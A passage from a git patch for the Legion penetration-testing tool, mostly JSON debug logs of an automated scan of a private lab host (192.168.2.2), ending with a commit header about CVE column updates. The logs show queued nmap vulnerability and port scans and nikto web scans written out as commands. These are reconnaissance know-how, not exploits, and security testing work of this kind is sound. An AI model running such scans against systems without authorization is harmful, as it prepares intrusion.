"DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:47,395", "name": "Waiting 0.57s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:47,999", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:48,004", "name": "Queuing: nmap -sV --script=./scripts/nmap/vulners.nse -vvvv 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130747368080-nmapstage3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:07:48,048", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:48,050", "name": "Waiting 0.44s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:48,519", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:48,521", "name": "runCommand called for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:07:48,522", "name": "runCommand connected for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:07:48,527", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} +{"time": "2019-02-26 13:07:48,528", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} +{"time": "2019-02-26 13:07:48,534", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} +{"time": "2019-02-26 13:07:49,397", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:49,398", "name": "Waiting 0.15s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:49,564", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:51,250", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:51,252", "name": "Waiting 0.84s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:52,094", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:56,552", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:56,554", "name": "Waiting 0.87s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:57,445", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:57,451", "name": "Process 4 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:07:57,456", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:07:57,474", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:57,475", "name": "Waiting 0.46s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:57,965", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:57,967", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:08:02,105", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:08:02,107", "name": "Waiting 0.66s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:08:02,770", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:09:35,726", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:09:35,727", "name": "Waiting 0.72s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:09:36,467", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:09:36,473", "name": "Process 3 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:09:36,479", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:09:36,480", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:09:36,481", "name": "Waiting 0.5s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:09:37,006", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:09:37,008", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:10:56,316", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:56,318", "name": "Waiting 0.58s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:10:56,924", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:10:57,060", "name": "Process 5 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:10:57,178", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:10:57,415", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:57,419", "name": "Waiting 0.87s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:10:58,310", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:10:58,313", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:10:58,316", "name": "runStagedNmap called for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:10:58,320", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:10:58,326", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:10:58,328", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:58,330", "name": "Waiting 0.99s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:10:59,340", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:10:59,344", "name": "Queuing: nmap -T4 -sC -n -sSU -p T:23,21,22,110,111,2049,3389,8080,U:500,5060 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226131058319994-nmapstage4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:10:59,388", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:59,391", "name": "Waiting 0.09s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:10:59,497", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:10:59,499", "name": "runCommand called for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:10:59,500", "name": "runCommand connected for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:10:59,505", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} +{"time": "2019-02-26 13:10:59,506", "name": "Running tools for: telnet on 192.168.2.2:23", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:10:59,507", "name": "Running tools for: domain on 192.168.2.2:53", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:10:59,516", "name": "Running tools for: http on 192.168.2.2:80", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:10:59,523", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:10:59,525", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:10:59,535", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:59,537", "name": "Waiting 0.53s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:00,089", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:00,094", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226131059518548-nikto-192.168.2.2-80.txt -p 80 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:11:00,139", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:00,141", "name": "Waiting 0.43s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:00,588", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:00,590", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:11:00,591", "name": "Running tools for: http on 192.168.2.2:443", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:11:00,600", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:11:00,604", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:11:00,605", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:00,606", "name": "Waiting 0.23s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:00,856", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:00,861", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226131100592831-nikto-192.168.2.2-443.txt -p 443 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:11:00,905", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:00,909", "name": "Waiting 0.76s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:01,688", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:01,690", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:11:01,691", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} +{"time": "2019-02-26 13:11:01,692", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} +{"time": "2019-02-26 13:11:01,802", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:01,805", "name": "Waiting 0.9s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:02,708", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:04,379", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:04,380", "name": "Waiting 0.28s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:04,676", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:04,759", "name": "Process 8 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:11:04,822", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:11:04,960", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:04,964", "name": "Waiting 0.88s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:05,869", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:05,872", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:11:05,875", "name": "runStagedNmap called for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:11:05,879", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:11:05,887", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:11:05,890", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:05,892", "name": "Waiting 0.82s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:06,729", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:06,737", "name": "Queuing: nmap -T4 -sC -n -sSU -p T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226131105879222-nmapstage5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:11:06,776", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:06,778", "name": "Waiting 0.92s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:07,719", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:07,721", "name": "runCommand called for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:11:07,722", "name": "runCommand connected for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:11:07,728", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} +{"time": "2019-02-26 13:11:07,784", "name": "Running tools for: telnet on 192.168.2.2:23", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:11:07,785", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} +{"time": "2019-02-26 13:11:07,786", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} +{"time": "2019-02-26 13:11:08,600", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:08,601", "name": "Waiting 0.28s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:08,884", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:11,599", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:11,601", "name": "Waiting 0.72s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:12,324", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:16,443", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:16,445", "name": "Waiting 0.23s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:16,701", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:16,708", "name": "Process 10 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:11:16,716", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:11:16,717", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:16,718", "name": "Waiting 0.56s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:17,294", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:17,296", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:11:18,692", "name": "Killing process: 16146", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 554}} +{"time": "2019-02-26 13:11:18,702", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:18,707", "name": "Waiting 0.65s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:19,376", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:19,424", "name": "Process 11 Crashed!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 716}} +{"time": "2019-02-26 13:11:19,425", "name": "Process 11 Output: \n\tStarting Nmap 7.70 ( https://nmap.org ) at 2019-02-26 13:11 Central Standard Time", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 718}} +{"time": "2019-02-26 13:11:19,428", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:19,429", "name": "Waiting 0.61s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:20,059", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:20,066", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:11:20,067", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:20,069", "name": "Waiting 0.81s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:20,905", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:20,907", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:11:20,909", "name": "runStagedNmap called for stage 6", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:11:22,093", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:22,094", "name": "Waiting 0.43s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:22,527", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:34,706", "name": "Killing process: 16113", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 554}} +{"time": "2019-02-26 13:11:34,709", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:34,710", "name": "Waiting 0.11s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:34,841", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:34,908", "name": "Process 9 Crashed!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 716}} +{"time": "2019-02-26 13:11:34,909", "name": "Process 9 Output: \n\t- Nikto v2.1.5---------------------------------------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 718}} +{"time": "2019-02-26 13:11:34,912", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:34,913", "name": "Waiting 0.5s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:35,432", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:35,438", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:11:35,439", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:35,440", "name": "Waiting 0.36s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:35,818", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:35,820", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:14:00,341", "name": "Settings have NOT been changed.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 117}} +{"time": "2019-02-26 13:14:00,349", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:14:00,350", "name": "Waiting 0.02s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:14:00,395", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:14:00,413", "name": "Exiting application..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "view", "filename": "view.py", "line": 493}} From ee9c521961ab7e08441cf199e8d75e65d3608955 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 13:43:19 -0600 Subject: [PATCH 155/450] CVE column updates --- .justcloned | 0 controller/controller.py | 2 +- log/legion-db.log | 243 --------------------------------------- log/legion-startup.log | 243 --------------------------------------- log/legion.log | 243 --------------------------------------- ui/view.py | 4 +- 6 files changed, 4 insertions(+), 731 